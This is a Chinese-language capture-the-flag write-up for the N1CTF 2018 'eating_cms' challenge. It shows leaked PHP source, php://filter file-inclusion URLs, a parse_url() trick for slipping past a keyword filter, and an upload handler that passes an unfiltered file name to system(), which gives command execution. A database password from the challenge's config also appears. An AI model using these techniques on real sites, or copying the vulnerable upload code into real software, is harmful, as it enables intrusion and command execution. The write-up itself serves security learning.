[N1CTF 2018]eating_cms
1.首先注意到框架Copyright © 2017.Powered by Albertchang
2.梳理应用功能
- 登录
- 尝试使用
admin\admin
登录发现返回了sql查询语句
1
| select * from `albert_users` where `username_which_you_do_not_know`= 'admin' and `password_which_you_do_not_know_too` = '21232f297a57a5a743894a0e4a801fc3'
|
首先想到sql注入
发现输入'
会被转义,输入"
会提示no hacking,如果是sql注入的话需要fuzz一下哪些字符可用,哪些字符被waf拦截。
同时扫描目录
发现/.viminfo
,看看是否存在源码泄露
1 2 3
| vim updateadmin.php vim info.php vim login.php
|
查看是否存在这三个文件
访问/updateadmin.php
和info.php
,提示you can not visit it directly
.
还发现有/register.php
,可见可以注册用户。
注册并登录后发现一个博客页面,再试试上面的/updateadmin.php
和info.php
,还是不行
先尝试注入
发现拦截了!#$%^||&\;:".~/?
和/**/
,转义了'
.通过单引号闭合不可能了,堆叠注入也不可能,宽字节注入也未成功。既然题目提示和cms有关,再看一下框架。
在登录成功后页面会先访问/user.php?page=info
再302跳转到/user.php?page=guest
在/user.php?page=info
中提示<!--hint: ffffllllaaaaggg.php-->
,直接访问也会提示you can not visit it directly
.
看来需要使用特殊身份访问。
/user.php?page=
经测试发现文件包含。
直接访问/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
会被hacker.php拦截。获取源码来绕过。
user.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php require_once("function.php"); if( !isset( $_SESSION['user'] )){ Header("Location: index.php");
} if($_SESSION['isadmin'] === '1'){ $oper_you_can_do = $OPERATE_admin; }else{ $oper_you_can_do = $OPERATE; }
if($_SESSION['isadmin'] === '1'){ if(!isset($_GET['page']) || $_GET['page'] === ''){ $page = 'info'; }else { $page = $_GET['page']; } } else{ if(!isset($_GET['page'])|| $_GET['page'] === ''){ $page = 'guest'; }else { $page = $_GET['page']; if($page === 'info') {
|
index.php
1 2 3 4 5 6 7 8 9
| <?php require_once "function.php"; if(isset($_SESSION['login'] )){ Header("Location: user.php?page=info"); } else{ include "templates/index.html"; } ?>
|
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130
| <?php session_start(); require_once "config.php"; function Hacker() { Header("Location: hacker.php"); die(); }
function filter_directory() { $keywords = ["flag","manage","ffffllllaaaaggg"]; $uri = parse_url($_SERVER["d"]); parse_str($uri['query'], $query);
foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
function filter_directory_guest() { $keywords = ["flag","manage","ffffllllaaaaggg","info"]; $uri = parse_url($_SERVER["REQUEST_URI"]); parse_str($uri['query'], $query);
foreach($keywords as $token) { foreach($query as $k => $v) { if (stristr($k, $token)) hacker(); if (stristr($v, $token)) hacker(); } } }
function Filter($string) { global $mysqli; $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password"; $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><"; for ($i = 0; $i < strlen($string); $i++) { if (strpos("$whitelist", $string[$i]) === false) { Hacker(); } } if (preg_match("/$blacklist/is", $string)) { Hacker(); } if (is_string($string)) { return $mysqli->real_escape_string($string); } else { return ""; } }
function sql_query($sql_query) { global $mysqli; $res = $mysqli->query($sql_query); return $res; }
function login($user, $pass) { $user = Filter($user); $pass = md5($pass); $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'"; echo $sql; $res = sql_query($sql);
if ($res->num_rows) { $data = $res->fetch_array(); $_SESSION['user'] = $data[username_which_you_do_not_know]; $_SESSION['login'] = 1; $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too]; return true; } else { return false; } return; }
function updateadmin($level,$user) { $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' "; echo $sql; $res = sql_query($sql);
if ($res == 1) { return true; } else { return false; } return; }
function register($user, $pass) { global $mysqli; $user = Filter($user); $pass = md5($pass); $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')"; $res = sql_query($sql); return $mysqli->insert_id; }
function logout() { session_destroy(); Header("Location: index.php"); }
?>
|
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php require_once "function.php"; if($_POST['action'] === 'login'){ if (isset($_POST['username']) and isset($_POST['password'])){ $user = $_POST['username']; $pass = $_POST['password']; $res = login($user,$pass); if(!$res){ Header("Location: index.php"); }else{ Header("Location: user.php?page=info"); } } else{ Header("Location: error_parameter.php"); } }else if($_REQUEST['action'] === 'logout'){ logout(); }else{ Header("Location: error_parameter.php"); }
?
|
register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php require_once "function.php"; if($_POST['action'] === 'register'){ if (isset($_POST['username']) and isset($_POST['password'])){ $user = $_POST['username']; $pass = $_POST['password']; $res = register($user,$pass); if($res){ Header("Location: index.php"); }else{ $errmsg = "Username has been registered!"; } } else{ Header("Location: error_parameter.php"); } } if (!$_SESSION['login']) { include "templates/register.html"; } else { Header("Location : user.php?page=info"); }
?>
|
config.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php error_reporting(E_ERROR | E_WARNING | E_PARSE); define(BASEDIR, "/var/www/html/"); define(FLAG_SIG, 1); $OPERATE = array('userinfo','upload','search'); $OPERATE_admin = array('userinfo','upload','search','manage'); $DBHOST = "localhost"; $DBUSER = "root"; $DBPASS = "Nu1LCTF2018!@#qwe";
$DBNAME = "N1CTF"; $mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME); if(mysqli_connect_errno()){ echo "no sql connection".mysqli_connect_error(); $mysqli=null; die(); } ?
|
hacker.php
1 2 3
| <?php include("templates/hacker.html"); ?>
|
updateadmin.php
1 2 3 4 5
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly "); } include "templates/update.html";
|
info.php
1 2 3 4 5 6
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly "); } include "templates/info.html"; ?>
|
经过思考感觉从sql注入是无法入手的,看了一下wp,发现是parse_url()
的问题。
https://www.dazhuanlan.com/vickycheng823/topics/1089651
构造
1
| //user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
|
ffffllllaaaaggg.php
1 2 3 4 5 6 7
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly"); }else { echo "you can find sth in m4aaannngggeee"; }
|
构造
1
| /user.php?page=php://filter/convert.base64-encode/resource=m4aaannngggeee
|
m4aaannngggeee.php
1 2 3 4 5 6
| <?php if (FLAG_SIG != 1){ die("you can not visit it directly"); } include "templates/upload.html";
|
转而直接访问m4aaannngggeee.php
看来是个模板测试页面,尝试上传文件
发现跳转至upllloadddd.php,并输出了上传文件的base64编码
看看upllloadddd.php的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php $allowtype = array("gif","png","jpg"); $size = 10000000; $path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/"; $filename = $_FILES['file']['name']; if(is_uploaded_file($_FILES['file']['tmp_name'])){ if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){ die("error:can not move"); } }else{ die("error:not an upload file!"); } $newfile = $path.$filename; echo "file upload success<br />"; echo $filename; $picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0"); echo "<img src='data:image/png;base64,".$picdata."'></img>"; if($_FILES['file']['error']>0){ unlink($newfile); die("Upload file error: "); } $ext = array_pop(explode(".",$_FILES['file']['name'])); if(!in_array($ext,$allowtype)){ unlink($newfile); } ?>
|
发现程序是调用system()
来执行shell获取base64编码的,且未对filename进行过滤,此处存在命令执行。